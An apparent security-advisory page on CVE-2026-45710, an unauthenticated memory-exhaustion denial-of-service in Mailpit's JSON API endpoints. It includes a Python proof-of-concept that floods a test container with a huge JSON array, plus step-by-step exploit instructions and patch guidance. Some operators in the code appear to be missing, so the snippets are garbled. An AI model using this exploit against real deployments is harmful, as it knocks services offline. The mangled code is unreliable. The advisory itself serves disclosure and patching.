Mailpit, Memory Exhaustion DoS via Unbounded JSON Body, CVE-2026-45710 (Critical) -DC-Jul2026-793

Listen to this Post

How CVE-2026-45710 Works

CVE-2026-45710 is a memory-exhaustion denial-of-service vulnerability affecting Mailpit, a popular email testing tool. The vulnerability stems from an incomplete fix for a previous security issue (GHSA-fpxj-m5q8-fphw), which was addressed in Mailpit v1.30.0. That original fix introduced a 50 MB body-size limit using `http.MaxBytesReader` but applied it only to the `POST /api/v1/send` endpoint. Four other JSON-body API endpoints were left unprotected:
– `PUT /api/v1/messages` (SetReadStatus)
– `DELETE /api/v1/messages` (DeleteMessages)
– `PUT /api/v1/tags` (SetMessageTags)
– `POST /api/v1/message/{id}/release` (ReleaseMessage)
These endpoints continue to call `json.NewDecoder(r.Body)` directly with no body-size cap. In the default deployment (docker run axllent/mailpit:latest), these endpoints are reachable unauthenticated because no `–ui-auth` or `–smtp-auth` is required. An attacker can send a carefully crafted JSON payload containing a multi-million-element `IDs` slice (e.g., {"IDs": ["x", "x", ...]}) to any of these endpoints. When the Go `json.NewDecoder` unmarshals this payload, each element materialises as a separate Go string plus slice-header overhead, causing the process’s Resident Set Size (RSS) to grow roughly linearly with the payload size—approximately 28× amplification (a 16 MB request can drive RSS from ~25 MiB to ~450 MiB). Memory is not freed between requests; repeated attacks across multiple connections compound the per-process RSS growth until the container is restarted or the host terminates it due to memory pressure.
The vulnerability affects Mailpit up to and including v1.30.0 (commit 67a7ca83ff759082d2b86dda07eb5bb3dad404e0), with versions prior to v1.30.0 also vulnerable to the original GHSA-fpxj issue on /api/v1/send.

DailyCVE Form:

Platform: `Mailpit`
Version: `<= v1.30.0` Vulnerability: `Memory Exhaustion DoS` Severity: `Critical` date: `2026-05-14`

Prediction: `2026-05-21`

What Undercode Say: Analytics

Amplification Factor: ~28× RSS increase per request.

Attack Vector: Unauthenticated remote attacker sending a single HTTP request with a large JSON `IDs` array.
Default Exposure: Port 8025 is bound to `[::]:8025` with no authentication by default.

Affected Endpoints:

– `PUT /api/v1/messages`
– `DELETE /api/v1/messages`
– `PUT /api/v1/tags`
– `POST /api/v1/message/{id}/release`

Bash Commands to Reproduce:

Start vulnerable Mailpit instance
docker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest
Check baseline RSS
docker stats mailpit-test --no-stream --format '{{.MemUsage}}'
Trigger the vulnerability using Python (as provided in the )
python3 - <<'PY'
import socket
N = 4_000_000
prefix = b'{"Read": true, "IDs": ['
items = b'"x"' + (b',"x"' (N - 1))
suffix = b']}'
clen = len(prefix) + len(items) + len(suffix)
s = socket.create_connection(("localhost", 18025), timeout=300)
s.sendall(
b"PUT /api/v1/messages HTTP/1.1\r\n"
b"Host: localhost:18025\r\n"
b"Content-Type: application/json\r\n"
b"Content-Length: " + str(clen).encode() + b"\r\n"
b"Connection: close\r\n\r\n")
s.sendall(prefix)
rem = items
while rem:
s.sendall(rem[:10241024]); rem = rem[10241024:]
s.sendall(suffix)
s.close()
PY
Check post-attack RSS (should show ~455 MiB)
docker stats mailpit-test --no-stream --format '{{.MemUsage}}'

Observed Result: A single 16 MB JSON body drove Mailpit RSS from 8.473 MiB to 455.8 MiB (+447 MiB). Repeating the attack over multiple connections compounds the memory usage.

How Exploit:

1. Identify a vulnerable Mailpit instance (default port 8025, no authentication).
2. Craft a JSON payload with a large `IDs` array (e.g., 4 million elements).
3. Send the payload via HTTP to any of the four unprotected endpoints:
– `PUT /api/v1/messages`
– `DELETE /api/v1/messages`
– `PUT /api/v1/tags`
– `POST /api/v1/message/{id}/release`
4. Repeat across multiple concurrent connections to compound memory exhaustion.
5. Result: The Mailpit process consumes all available memory, leading to a crash or denial of service.

Protection from this CVE:

  • Upgrade to Mailpit v1.30.1 or later, which applies the `MaxBytesReader` cap to all JSON-body endpoints.
  • Apply the suggested fix manually by wrapping each vulnerable handler with:
    if config.MaxMessageSize > 0 {
    r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)10241024)
    }
    decoder := json.NewDecoder(r.Body)
    
  • Enable authentication (--ui-auth=user:pass) to limit exposure to authenticated users only.
  • Restrict network access to Mailpit’s port (8025) using a firewall or by binding to `localhost` only.
  • Set resource limits on the container (e.g., Docker `–memory` flag) to mitigate impact.

Impact:

  • Pre-auth Remote Memory Exhaustion DoS: An unauthenticated attacker can crash the Mailpit service, disrupting email testing and development workflows.
  • Disk Amplification (Secondary): Although the `IDs` slice is not persisted to disk, the `SetReadStatus` handler iterates over the slice and issues an `UPDATE` for each ID, causing linear work in len(ids).
  • Same Threat Model as Parent CVE: The maintainer’s chosen 50 MB cap for `/api/v1/send` was intended to bound the worst-case scenario; its absence on sibling endpoints leaves the per-process worst-case unbounded.
  • Critical Severity: Given the default unauthenticated exposure and the ease of exploitation, this vulnerability is rated Critical.
  • Credits: Reported by tonghuaroot.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top